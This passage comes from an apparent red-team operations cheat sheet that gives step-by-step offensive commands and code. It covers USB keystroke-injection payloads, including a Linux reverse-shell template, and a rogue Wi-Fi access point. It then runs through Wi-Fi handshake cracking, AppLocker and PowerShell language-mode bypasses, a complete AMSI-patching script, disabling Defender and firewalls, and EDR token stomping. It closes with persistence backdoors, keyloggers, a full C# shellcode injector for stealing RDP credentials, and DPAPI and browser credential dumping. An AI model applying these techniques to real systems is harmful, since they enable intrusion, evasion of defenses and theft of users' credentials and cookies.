GUI r
DELAY 1000

STRING cmd
ENTER
DELAY 1000

STRING <command string to execute>
ENTER
DELAY 5000
```

    - 2. Copy script to "https://ducktoolkit.com/encode" for encoding
    - 3. Save the created inject.bin to USB rubber ducky
- Option 2: **Linux reverse shell**:
    - 1: Modify payload and copy script to this online encoder:

```
DELAY 500
ALT F2
DELAY 300
STRING lxterminal
DELAY 300
ENTER
DELAY 600
STRING  <insert executable payload here>
DELAY 2000
ENTER
```

- 2: Save the created inject.bin to USB rubber ducky
- 3: Inject USB rubber ducky into USB port of the target machine

Ethernet type implants:

Raspberry Pi WiFi AP:

Setting up a Wireless Access Point makes it possible to access the Raspberry Pi from a short distance after having it physically implanted within the target network.

- (info) If using a Respberry Pi version 4 you can leverage its already built-in wifi capabilities. Otherwise, you need to add a Wifi Adapter. It is recommended to add an additional wifi adapter if it increases the range of the signal.
- 1. Modify the following script and save it as setup.sh:

```
#!/bin/bash

apt-get remove --purge hostapd -yqq
apt-get update -yqq
apt-get upgrade -yqq
apt-get install hostapd dnsmasq -yqq

sudo systemctl stop hostapd
sudo systemctl stop dnsmasq

cat > /etc/dnsmasq.conf <<EOF
interface=wlan0
dhcp-range=192.168.100.10,192.168.100.20,24h
dhcp-option=3,192.168.100.1
dhcp-option=6,192.168.100.1

EOF

cat > /etc/hostapd/hostapd.conf <<EOF
interface=wlan0
hw_mode=g
channel=7
wmm_enabled=0
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
ssid=PiC2
wpa_passphrase=Password123
EOF

sed -i -- 's/#DAEMON_CONF=""/DAEMON_CONF="\/etc\/hostapd\/hostapd.conf"/g' /etc/default/hostapd

cat >> /etc/network/interfaces <<EOF
# Added by rPi Access Point Setup
allow-hotplug wlan0
iface wlan0 inet static
        address 192.168.100.1
```

```
        netmask 255.255.255.0
        network 192.168.100.0
        broadcast 192.168.100.255
EOF

#echo "denyinterfaces wlan0" >> /etc/dhcpcd.conf

#it is possible that the system must reboot before continuing
systemctl unmask hostapd
systemctl enable hostapd
systemctl enable dnsmasq

sudo systemctl start hostapd
sudo systemctl start dnsmasq

echo "All done!"
```

- 2. Run the script to setup the AP: `sudo ./setup.sh`
- 3. Make sure SSH is running correctly
- 4. Reboot system and AP should work

NAC bypass via dropbox:

Network Access Control (NAC) acts as a kind of a gatekeeper to the local network infrastructure. Its usually works with whitelists, blacklists, authentication requirements (creds/certificates) or host scanning to restrict access and keep unwanted devices out of the network. NAC can be applied to both wired and wireless networks.

- (info) more info can be found here: The Hacker Recipes.
- MAC spoofing: You take a VoIP phone or a printer, use their MAC address on your attacking machine and you should be provided with an IP address from the DHCP server. Why? Because these devices are whitelisted as they do not support 802.1x authentication.
- VLAN hopping: This can be achieved by plugging the laptop into the network port of VoIP phone and using a utility such as voiphopper (pre installed in Kali Linux)
- Get credentials that give access to the wireless network (social engineering, dumping from system that is connected, evil twin attack, etc.)

Configure network connection ethernet implant:

Change hostname:

- Option 1: **nmtui**:
  - 1. Start the interface: `nmtui`
  - 2. Select "Set system hostname"
- Option 2: **hostnamectl**: `sudo hostnamectl set-hostname <name>`

Configure static IP address Linux:

- Option 1: **interfaces** (Kali and older Debian based systems):
  - 1. Open the conf file: `sudo nano /etc/network/interfaces`
  - 2. Add the following lines in the conf file (gateway is not mandatory):

```
# static ipv4 address
auto <interface (e.g. eth0)>
iface <interface (e.g. eth0)> inet static
address <static ip address>
netmask <netmask (e.g. 255.255.255.0)>
gateway <ip gateway>
# static ipv6 address
iface <interface (e.g. eth0)> inet6 static
address <2A00:0C98:2060:A000:A001:0000:1d1e:ca75>
gateway <2A00:0C98:2060:A000:A001:0000:0000:0001>
```

```
```

- 3. Restart system or networking service: `sudo /etc/init.d/networking restart`

- Option 2: **netplan** (for all new Debian based systems):
  - 1. Open conf file (.yaml file name can differ based on distro): `sudo nano /etc/netplan/01-netcfg.yaml`
  - 2. Configure as follows (python based so the indentation of lines is important):

```
network:
  version: 2
  renderer: networkd
  ethernets:
    <interface name>:
      dhcp4: no
      dhcp6: no
      addresses: [<ip address>/<netmask (e.g. 24)]
      gateway4: <ip gateway>
      nameservers:
        addresses: [<dns server address (e.g. 8.8.8.8) (not mandatory)]
```

  - 3. Apply changes: `sudo netplan --debug apply`
- Option 3: **nmtui**:
  - (info) this option supports the i3 window-manager to connect to WiFi and wired connections.
  - 1. Start the network interface: `nmtui`
  - 2. Select "activicate connection" and select one of the available network options (e.g. wired, Wifi).

Configure static IP address Windows:

- 1. Click Start Menu > Control Panel > Network and Sharing Center or Network and Internet > Network and Sharing Center.
- 2. Click Change adapter settings.
- 3. Right-click on Wi-Fi or Local Area Connection.
- 4. Click Properties and select Internet Protocol Version 4 (TCP/IPv4).
- 5. Click Properties and select Use the following IP address.
- 6. Enter the IP address, Subnet mask, Default gateway, and DNS server.

Wireless network access:

General:

- Kill all processes that are using the network adapter and therefore blocking its use: `airmon-ng check kill`
- Test equipment for packet injection and performance (nearby AP's required): `airmon-ng -9 <interface>`
- Increase maximum transmit power of a wireless adapter:
  - 1. Check current TX-power (dBm) settings: `iwconfig`
  - 2: Increase TX-power of wireless adapter:
    - `iw reg set B0`
    - `iw dev <interface> set txpower fixed 30dbm`

Capture PMKIDs or 3-way handshakes from Wireless AP's:

This technique can be used to capture handshakes between a client and a normal AP. This requires that you either wait for a client to connect to the AP, or if a client has already connected, de-authenticate the client from the AP and wait for them to re-connect.

- (info) The Wifi Pineapple is used for this attack but any capable network adapter will work. One of the following messages indicates a successful capture: [FOUND HANDSHAKE AP-LESS] or [FOUND AUTHORIZED HANDSHAKE].
- 1. (optional) Login via ssh to the Pineapple
- 2. Scan for nearby active AP's (hcxdumptool): `hcxdumptool -i wlan1 --do_rcascan`
- 3: Store target AP mac-addresses in filter.txt file: `echo <target mac address> > filter.txt`
- 4. Perform the Client-less PMKID Attack (this will also automatically de-authenticate all connected clients) (hcxdumptool): `hcxdumptool -o test.pcapng -i wlan1 -c <AP channel> --filterlist_ap=filter.txt --filtermode=2 --enable_status=3`
- 5. Converting and cracking wifi keys:
    - If captured (normal) WPA handshake:
        - 1. Copy .pcapng files to own machine
        - 2. Convert .pcapng to .pcap file: `tshark -F pcap -r test.pcapng -w test.pcap`
        - 3. Convert .pcap to .hccapx file (hashcat-utils): `./cap2hccapx test.pcap test.hccapx`
        - 4. Crack PSK hash: `hashcat -m 2500 -a 0 -w 3 test.hccapx </dir/wordlist>`
    - If captured EAPOL PMKID ([FOUND PMKID CLIENT-LESS] or [FOUND PMKID]):
        - 1: Convert PMKID to readable hash format: `hcxpcaptool -z test.16800 test.pcapng`
        - 2. Move the .pcapng file to your machine
        - 3: Crack pmkid key: `hashcat -m 16800 -a 0 -w 3 pmkid_capture.16800 </dir/wordlist>`

Capture NetNTLM hashes from WPA2 Enterprise WiFi AP:

If protocols such as EAP-MSCHAPv2 and EAP-TTLS are used it may be possible to set up a malicious access point which accepts EAP authentication, and if the device or user enters their credentials they can be captured in the form of NetNTLM hashes.

- 1. Install HostAPDtool: `apt install hostapd-wpe python-jinja2`
- 2. stop NetworkManager to prevent it interfering: `airmon-ng check kill`
- 3. Setup the malicious AP via the configuration file: `nano /etc/hostapd-wpe/hostapd-wpe.conf`
- 4. Start the malicious AP and wait until users connect: `hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf`
- 5. Recover a password based on the captured NetNTLM hash: `hashcat -m 5500 <hash.txt> <wordlist.txt>`

Control the initial access system

Info: this section can be used if you land on a system.

Get situational awareness and control:

Initial local system and user information gathering:

Enumerate session and user privilege information:

- Current user privileges:
  - Option 1: (for PoshC2: Seatbelt.Program) (Seatbelt): `seatbelt.exe TokenGroups TokenPrivileges UAC UserRightAssignments`
  - Option 2: CS BOF (CS-Situational-Awareness-BOF): `whoami`
- Accessible secrets based on local and domain privileges of current user (Seatbelt): `seatbelt.exe KeePass CloudCredentials CredEnum CredGuard DpapiMasterKeys LAPS PuttyHostKeys RDCManFiles PuttySessions SecPackageCreds SuperPutty FileZilla WindowsAutoLogon WindowsCredentialFiles WindowsVault`
- User session info (Seatbelt): `seatbelt.exe RDPSavedConnections RDPSessions LogonEvents LogonSessions`
- Recently used/modified/deleted files (Seatbelt): `seatbelt.exe ExplorerMRUs OfficeMRUs RecycleBin OutlookDownloads`
- Show titles from processes with active windows from current user: CS BOF (C2-Tool-Collection): `Pwd`
- List session on the current system (CS-Situational-Awareness-BOF): `netsession`
- General user info (Seatbelt): `seatbelt.exe -group=user`

Enumerate general system and network information:

- Local system, config, user and software info (Seatbelt): `seatbelt.exe OSInfo LocalGPOs LocalGroups LocalUsers InstalledProducts WSUS NTLMSettings`
- List ARP table (CS-Situational-Awareness-BOF): `arp`
- Pulls dns cache entries (CS-Situational-Awareness-BOF): `listdns`
- List ipv4, hostname and dns server info (CS-Situational-Awareness-BOF): `ipconfig`
- Network and share info (Seatbelt): `seatbelt.exe DNSCache NetworkProfiles NetworkShares TcpConnections`
- List system boot time (CS-Situational-Awareness-BOF): `uptime`
- General system info (Seatbelt): `seatbelt.exe -group=system`

Enumerate & bypass defensive measures:

Enumerate implemented defensive measures:

- List AV products (Seatbelt): `seatbelt.exe AMSIProviders AntiVirus McAfeeConfigs SecurityPackages WindowsDefender`
- List AV products: `wmic /node:localhost /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:List`

- List AV's, EDR's and logging tools (for PoshC2: SharpEDRCheckker.Program) (SharpEDRChecker): `SharpEDRChecker.exe`
- Applocker and system restriction (Seatbelt): `seatbelt.exe AppLocker LSASettings`
- Verify if PowerShell Constrained Language Mode (CLM) is enabled: `$ExecutionContext.SessionState.LanguageMode`
- Firewall configuration:
    - Show detailed list firewall rules via BOF (Firewall_Enumerator_BOF): `fw_walk display`
    - List firewall rules (Seatbelt): `seatbelt.exe WindowsFirewall`
    - List firewall rule details (opsec warming): `netsh advfirewall firewall show rule name="<all | name specific rule>" dir=in`

Bypassing Applocker:

AppLocker is Microsoft's application whitelisting technology that can restrict the executables, libraries and scripts that are permitted to run on a system. AppLocker rules are split into 5 categories - Executable, Windows Installer, Script, Packaged App and DLLs, and each category can have its own enforcement (enforced, audit only, none). If an AppLocker category is 'enforced', then by default everything within that category is blocked. Rules can then be added to allow principals to execute files within that category based on a set of criteria.

- (info) Trying to execute anything that is blocked by AppLocker looks like this: "This program is blocked by group policy. For more information, contact your system administrator."
- Option 1: **Find writeable directories within "trusted" paths**:
    - Check if you have at least write access to the following common places that are not blocked by the default applocker rules for authenticated users: `icacls.exe <path (e.g. C:\Windows\Tasks)>`
        - RW: C:\Windows\Tasks
        - RW: C:\Windows\System32\spool\drivers\color
        - RW: C:\Windows\tracing
        - RW: C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
        - W: C:\Windows\System32\Tasks
    - Analyse Applocker Policy to find weak spots:
        - 1. Extract the Applocker Policy: `Get-AppLockerPolicy -Effective -Xml | Set-Content ('C:\Users\Public\Documents\ApplockerPolicy.xml')`
        - 2. Download the generated 'ApplockerPolicy.xml' file to your own system
        - 3. Analyse the xml file if there are any exception rules made for directories were users are allowed to execute code and check for overly permissive rules that use wildcards (e.g. "%OSDRIVE%*\Packages*"). This means you could create a folder called "Packages" (or whatever the name is) anywhere on C:\ (e.g. C:\Users\Public\Documents\Packages) and run exe's from there.
- Option 2: **Use .DLL instead of .EXE**: DLL enforcement is very rarely enabled due to the additional load it can put on a system, and the amount of testing required to ensure nothing will break.
    - 1. Generate a .DLL payload
    - 2. Execute the payload (e.g. cobalt strike): `C:\Windows\System32\rundll32.exe C:\Users\Public\Documents\beacon.dll,StartW`
- Option 3: **Become Local Admin**: By default, AppLocker is not applied to Administrators.
- Option 4: **Executing untrusted code via LOLBAS's**: Leverage trusted Windows executables from the LOLBAS project that can run your code and bypass any applocker rules (check the "Armory" section under "Windows payloads" to find the "InstallUtil" technique that can be used for code exection).

Bypass PowerShell Constrained Language Mode (CLM):

When AppLocker is enabled PowerShell is placed into Constrained Language Mode (CLM), which restricts it to core types. CLM can also be enabled locally without AppLocker being enabled.

- (info) Disabling CLM may require you to start a new PS session afterwards.
- Option 1: **Powerpick Cobalt Strike** (OPSEC: this is a fork&run operation): an "unmanaged" implementation of tapping into a PowerShell runspace without using powershell.exe: `powerpick <command>`
- Option 2: **PowerShdll**: Does not require access to powershell.exe as it uses powershell automation dlls.
    - 1. Download and compile PowerShdll.dll in vscode 2019:
    - 2. Upload PowerShdll.dll to the target system
    - 3. Execute PowerShdll.dll (maybe press enter few times): `rundll32 .\PowerShdll.dll,main -i`
- Option 3: **Powershell automation for C#**: leverage the powershell automation dll in your C# code to bypass CLM (check for example in the "Armory" section under "Windows payloads").
- Option 4: **Local configured CLM**: this type of CLM can be bypassed by editing the global environment variable named "__PSLockdownPolicy". When its value is equal to 8, PowerShell operates in Full Language Mode (requires admin privileges): `setx __PSLockdownPolicy "0" /M`

AMSI bypass:

- Option 1: **Corrupt AmsiOpenSession**: PS one-liner that overwrites the context structure header and corrupts it and forces AmsiOpenSession to error out: `$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)`
- Option 2: **Patch AMSI**: save as script.ps1 and run in PS session to bypass AMSI:

```
function LookupFunc {

    Param ($moduleName, $functionName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)),
$functionName))
}

function getDelegateType {

    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
      [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')

  $type.
```

```
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')

    return $type.CreateType()
}

[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll
VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)

$buf = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)

$vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtectionBuffer)
```

Exclusions:

Most antivirus solutions allow you to define exclusions to on-demand and real-time scanning. Windows Defender allows admins to add exclusions via GPO, or locally on a single machine.

- List the current exclusions (can also be run remotely): `Get-MpPreference | select Exclusion*`
- Add your own exclusion: `Set-MpPreference -ExclusionPath "<path>"`

Disable/enable Windows Defender & Firewall:

- (Info) this requires elevated privileges.
- Disable Windows Defender (PS): `Set-MpPreference -DisableRealtimeMonitoring $true`
- Check status firewall (Firewall_Enumerator_BOF): `fw_walk status`
- Disbale firewall (requires high privs) (Firewall_Enumerator_BOF): `fw_walk disable`
- Enable firewall (requires high privs) (Firewall_Enumerator_BOF): `fw_walk enable`
- Disable firewall: `netsh Advfirewall set allprofiles state off`

Disable EDR/AV solution via Token Stomping:

This technique removes any token privileges that an EDR/AV process needs to effectively do its job.

- 1. Start a SYSTEM level beacon
- 2. List and note all the processes associated with the EDR/AV solution on the current system (e.g. for Windows Defender use 'tasklist /svc | findstr "WinDefend"')
- 3. Remove all the token privileges from every identified process (for PoshC2: run-exe TokenStomp.Program) (TokenStomp): `. \TokenStomp. exe <process name>`

Smartscreen:

- If Smartscreen is enabled and your payload code is not signed, don't download your executables from your hosted (http) webserver. This is beceause smartscreen will mark the binary and block all future execution attempts. If it is not possible to directly run the binary in assembly, move your binary via a different technique (e.g. smbserver) to the target system or use code signing during compilation of your payload.

Get persistent access:

Windows persistent access techniques:

Multiple user and system level persistence methods:

The SharPersist toolkit excists of multiple userland and elevated persistence trigger techniques.

- (info) Run SharPerist.exe in assembly with PoshC2: `run-exe SharPersist.SharPersist SharPersist <args>`
- (info) The following one-liners are examples and must be modified to your needs. For the SharpPersist tool it is recommended to first run the "-m list" (to list all present entries for the specified persistence technique) and the "-m check" argument (verifies if specified persistence technique will work) before executing the actual persistence technique.
- Option 1: **New Scheduled Task** (userland persistence & NT\SYSTEM): This persistence technique will create a new scheduled task in the context of the current user/SYSTEM privileges. By default the task is set as a "daily" task but can be changed to "hourly or "logon" (logon requires admin privs) (for a system task, first elevate to SYSTEM) (for PoshC2 use "run-exe SharPersist.SharPersist SharPersist <args>") (SharpPersist): `SharPersist.exe -t schtask -c "<(malicious) binary to execute>" -a "<additional arguments>" -n "<new scheduled task name>" -m add (-o logon)`
- Option 2: **Registry** (userland persistence): This persistence technique will create a registry key in "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" or "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" and triggers/returns a shell in context of the user account that added the registry key (the "env" option can be used for registry obfuscation and must also be specified when using the "remove" option) (SharpPersist): `SharPersist.exe -t reg -c "<(malicious) binary to execute>" -a "<additional arguments>" -k "<hkcurun | hkcurunonce>" -v "<registry value name>" -m add (-o env)`
- Option 3: **Startup Folder** (userland persistence): This persistence technique creates a LNK file and places it in the user's startup folder (timestamp of the new LNK file is modified to 60-90 days before creation and placed in the folder "C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\testpersist.lnk") (SharpPersist): `SharPersist.exe -t startupfolder -c "<(malicious) binary to execute>" -a "<additional arguments>" -f "<random file name that will be created/deleted>" -m add`
- Option 4: **Create new service** (SYSTEM persistence):
    - 1. If not already, migrate to a SYSTEM process.
    - 2. Create a new service that will establish SYSTEM level persistence on the current host (this will directly start the service and therefore a shell) (for PoshC2 use: `run-exe SharpStay.Program SharpStay <args>`) (SharpStay): `SharpStay.exe action=CreateService servicename=<name of new service> command=" C:\Windows\Temp\proc.exe /ppath:C:\Windows\System32\smartscreen.exe /path:C:\Windows\Temp\sharpc2.b64 /f:base64 /t:3"`
    - 3. (optional) Interact with the created service:
        - To check the current status of the service: `sc.exe query <service name>`
        - To remove the added service: `sc.exe delete <service name>`

Remote Registry Backdoor:

This technique implements a host-based DACL backdoor to enable remote retrieval of secrets from a machine, including SAM and domain cashed hashes. This method can be combined with generating silver tickets which gives you long peristsence on that specific system.

- (info) local admin/SYSTEM privileges are required.
- 1. Run the 'Add-RemoteRegBackdoor.ps1' on the target machine from which you would like to harvest the machine account hash (DAMP): `Add-RemoteRegBackdoor -Trustee <domain>\<already onwed useraccount>`
- 2. From the already owned user account, import the 'RemoteHashRetrieval.ps1' file and execute the following command to obtain the target machine hash (DAMP): `Get-RemoteMachineAccountHash -ComputerName <FQDN target computer> -Verbose`
- 3. Forge a silver ticket to gain access to the target system.

Unix persistent access techniques:

Setup persistence via user config files:

- 1. In the current user's home directory, select either the '.bash_profile' file (executed when initially logging in to the system) or the '.bashrc' file (executed when a new terminal window is opened) for modification.
- 2. Add a reverse shell command or other action to the file that will allow for persistent access: `echo "<command to run>" >> ~/.bashrc`

Setup persistent access through SSH to target host:

- 1. Create .ssh directory on target host if not present: `mkdir .ssh`
- 2: Give the .ssh directory the correct permissions: `chmod 700 .ssh`
- 3. If the authorized_keys doen't exist, create it: `touch authorized_keys`
- 4. On your own system create new ssh key pair: `ssh-keygen -f <random name key>`
- 5. Copy the .pub key and add it to the authorized_keys file on the target system: `echo '<key string>' >> authorized_keys`
- 6. Give the authorized_keys file the correct permissions: `chmod 600 authorized_keys`
- 7. On your own system, give the private key the correct permissions: `chmod 600 <private key>`
- 8. Login from your own host to target host: `ssh -i <private key> <user name>@<target ip>`

Collect local secrets:

Obtain secrets via user interaction:

Run credential pop-up:

- Cobalt strike BOF (popup that isn't persistent or checks if creds are valid) (C2-Tool-Collection): `Askcreds (<optional text as window title>)`

Fake logon screen popup Cobalt Strike:

Start a fake Windows logon screen in order to obtain the user's password. The password entered is validated against the Active Directory or local machine to make sure it is correct.

- Run the executable which will spawn the logon screen (can look weird if not normal 1080p and may be flagged by AV) (Fakelogonscreen): `execute-assembly C:\Tools\Fakelogonscreen.exe`

Keylogger:

- Option 1: **PoshC2:** Gives nice output and writes in file (process can't be terminated): `start-keystrokes-writefile`

- Option 2: **Cobalt Strike:** Inject a keylogger into a given process (kill with jobkill <ID>): `keylogger (<PID>) (<x86|x64>)`

Screenshots:

- Option 1: **PoshC2** (screenshots are saved in: /var/poshc2/<project>/downloads/): `get-screenshot`
- Option 2: **Cobalt Strike:** Inject in given process and take screenshot: `screenshot (<PID>) (<x86|x64>) (<runtime in seconds>)`

RDP API Hooking:

RDP Credentials can be captured by intercepting function calls (API Hooking) in mstsc.exe, the native windows binary that creates connections to Remote Desktop Services. This tool will look for new instances of mstsc.exe, inject the RemoteViewing shellcode and save the encrypted credentials into a file.

- (info) this technique doesn't require elevated privileges.
- 1. Download and compile both the RemoteViewing and Clairvoyant tool (don't forget to restore the NuGet packages if required)
- 2. Convert the created RemoteViewing .exe tool to shellcode (Donut): `.\donut.exe -f 7 <path to RemoteViewing.exe> -o .\RemoteViewingSC.cs`
- 3. Create a shellcode injection binary and add the generated shellcode (from RemoteViewingSC.cs) in the "SHELLCODE" placeholder.

```
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Collections.Generic;
using System.Threading;

class Win32
{
        [DllImport("kernel32")]
        public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int
dwProcessId);

        [DllImport("kernel32")]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
                Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
                uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr
lpThreadId);

        [DllImport("kernel32")]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer,
                IntPtr dwSize, int lpNumberOfBytesWritten);

        public static int PROCESS_CREATE_THREAD = 0x0002;
        public static int PROCESS_QUERY_INFORMATION = 0x0400;
        public static int PROCESS_VM_OPERATION = 0x0008;
        public static int PROCESS_VM_WRITE = 0x0020;
        public static int PROCESS_VM_READ = 0x0010;
        public static UInt32 MEM_COMMIT = 0x1000;
        public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
        public static UInt32 PAGE_EXECUTE_READ = 0x20;

        [DllImport("kernel32")]
        public static extern IntPtr GetConsoleWindow();

        [DllImport("user32")]
```

```
        public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        public static int SW_HIDE = 0;
} // End of Win32 class

class MstscInjector
{
        // Injects shellcode in a process via its PID
        public static void InjectShellcode(int rPid, byte[] shellcode)
        {
                // Get a handle to the remote process with required permissions
                IntPtr pHandle = Win32.OpenProcess(Win32.PROCESS_CREATE_THREAD |
Win32.PROCESS_QUERY_INFORMATION |
                        Win32.PROCESS_VM_OPERATION | Win32.PROCESS_VM_WRITE | Win32.PROCESS_VM_READ,
false, rPid);
                // Allocate memory with PAGE_EXECUTE_READWRITE permissions
                IntPtr sAddress = Win32.VirtualAllocEx(pHandle, IntPtr.Zero, shellcode.Length,
                        Win32.MEM_COMMIT, Win32.PAGE_EXECUTE_READWRITE);
                // Write RemoteViewing Shellcode to the target process
                Win32.WriteProcessMemory(pHandle, sAddress, shellcode, new IntPtr(shellcode.Length), 0);
                // Execute Shellcode
                IntPtr rThread = Win32.CreateRemoteThread(pHandle, new IntPtr(0), new uint(), sAddress,
                        new IntPtr(0), new uint(), new IntPtr(0));
                // Restore memory permissions to PAGE_EXECUTE_READ
                IntPtr sAddress2 = Win32.VirtualAllocEx(pHandle, IntPtr.Zero, shellcode.Length,
                        Win32.MEM_COMMIT, Win32.PAGE_EXECUTE_READ);
                return;
        }
        // Main function
        public static void Main(string[] args)
        {
                string rProcess = "mstsc"; // RDP Process Name
                // List with already injected PIDs
                List<int> injectedProcs = new List<int>();
                // RemoteViewing Shellcode
                byte[] shellcode= new byte[285950] {<SHELLCODE PLACEHOLDER>};
                Console.WriteLine("[+] Searching for {0} instances", rProcess);
                while (true)
                {
                        try
                        {
                                Process[] procs = Process.GetProcesses();
                                foreach (Process proc in procs)
                                {
                                        // Checks for mstsc processes not injected before
                                        if ((proc.ProcessName == rProcess) &&
(!injectedProcs.Contains(proc.Id)))
                                        {
                                                Console.WriteLine("[>] Injected in PID: {0}", proc.Id);
                                                InjectShellcode(proc.Id, shellcode); // Inject
Shellcode
                                                injectedProcs.Add((int)proc.Id); // Add the PID to
injected procs list
                                        }
                                }
                        }
                        catch {} // Silently continue execution if something fails
                        Thread.Sleep(5000); // Sleeps for 5 Seconds
                }
        }
}
```

- 4. Compile the RemoteViewInjector.cs file: `csc .\RemoteViewingSC.cs`
- 5. Execute RemoteViewInjector.exe tool on the target system (by default the result is stored in "_wasRDP36D7.tmp" located in the "C:\Users\<target user>\AppData\Local\Temp\" folder) (for PoshC2: run-exe-background MstscInjector RemoteViewInjector): `.\RemoteViewInjector.exe`
- 6. Decrypt and show the stored (intercepted) RDP creds (run in same folder as RemoteViewInjector.exe) (for PoshC2: Clairvoyant.Program Clairvoyant): `.\Clairvoyant.exe`

- 7. (optional) If you want to repeat the process, first delete the "_wasRDP36D7.tmp" file stored in "C:\Users\<target user>\AppData\Local\Temp\".

Search for stored secrets:

Credential Manager password harvesting (DPAPI):

- **Single user** (not elevated):
    - 1. Check if there are blobs present on disk: `ls C:\Users\<username>\AppData\Local\Microsoft\Credentials (-Force)`
    - 2. (optional) Check what they are used for (e.g target=TERMSRV means RDP): `vaultcmd /listcreds:"Windows Credentials" /all`
    - 3. Check which 'guidMasterKey' value is assocatiated with the blob: `mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\<blob value string>`
    - 4. List Master Key information and note the full path to the needed guidMasterKey: `ls C:\Users\<username>\AppData\Roaming\Microsoft\Protect\S-1-5-21-*`
    - 5. Decrypt the MasterKey and copy the 'key' value:
        - Option 1: via DC RPC function (the "legitimate" RPC service, exposed on the DC, is used for better OPSEC): `mimikatz dpapi::masterkey /in:C:\Users\<username>\AppData\Roaming\Microsoft\Protect\S-1-5-21-<SID>\<guidMasterKey value> /rpc`
        - Option 2: via credentials: `mimikatz dpapi::masterkey /in:<MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected`
    - 6. Use the 'key' value to decrypt the blob: `mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\<blob value string> /masterkey:<key value>`
- **Multi user** (requires DA privileges; access to DC backup; or DA Read-Only access to DC):
    - (info) retrieve all stored user credentials from the Credential Manager on the current system.
    - Option 1: **Cached MasterKey**: triage all reachable user masterkeys and decrypt them if MasterKey is cached: `SharpDPAPI.exe triage`
    - Option 2: **DPAPI Backup key**:
        - 1. Retrieve the domain controller's DPAPI backup key which can be used to decrypt master key blobs for any user in the domain (the key never changes) (SharpDPAPI): `SharpDPAPI backupkey (/server:<FQDN DC>) /file:C:\users\public\documents\key.pvk`
        - 2. Using a domain DPAPI backup key to first decrypt any discoverable masterkeys and then search for Credential files and decrypt them (SharpDPAPI): `SharpDPAPI credentials /pvk:C:\users\public\documents\key.pvk`

Browser login and cookie harvesting (DPAPI):

- **Single user** (not elevated):
    - **Stored Credentials**:
        - 1. Check if the 'Login Data' file has a value higher than 38k-42k, which is a good indicator that credentials are stored: `ls C:\Users\bfarmer\AppData\Local\Google\Chrome\User Data\Default`
        - 2. Decrypt and dump the credentials:
            - Option 1: **Chrome/Edge**: Retrieve stored creds (SharpChromium): `SharpChromium.exe logins`

        - Option 2: **Chrome/Firefox/IE/Edge**: Retrieve all stored creds (SharpWeb): `sharpweb.exe all`
    - **Stored Cookies & Browser history**:
        - (info) some websites have set restriction on the reuse of cookies like: single cookie use; restricted by IP, device or some sort of fingerprint. Therefore, it is not always possible to leverage an obtained cookie.
        - 1. Retrieve user's history with a count of each time the URL was visited (SharpChromium): `SharpChromium.exe history`
        - 2. Retrieve the user's cookies (if URL's are passed, then return only cookies matching those URL's/domain's) (SharpChromium): `SharpChromium.exe cookies (<domain (e.g. github.com)>)`
        - 3. Copy the cookie in JSON format and import it via the 'Cookie-Editor' plugin.
- **Multi user** (requires DA privileges; access to DC backup; or DA Read-Only access to DC): retrieve all saved browser credentials on the current system:
    - 1. Retrieve the domain controller's DPAPI backup key (SharpDPAPI): `SharpDPAPI backupkey (/server:<FQDN DC>) /file:C:\users\public\documents\key.pvk`
